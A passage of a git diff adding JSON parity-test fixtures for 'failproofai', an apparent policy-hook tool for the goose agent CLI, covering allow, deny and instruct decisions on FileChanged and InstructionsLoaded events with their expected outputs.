b/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..6aa3f9e7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..946a9893 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..aa79e680 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c4966a11 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..89bb3679 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..07f88057 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..508f043e --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b7f41bb6 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..14c40fab --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..eb12df70 --- /dev/null +++ b/__tests__/parity/fixtures/goose/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..01ab0f65 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..4e17a813 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c6096d5e --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..ea2d9571 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..8e45ff0e --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..661ecea9 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4aaff616 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b8824540 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git 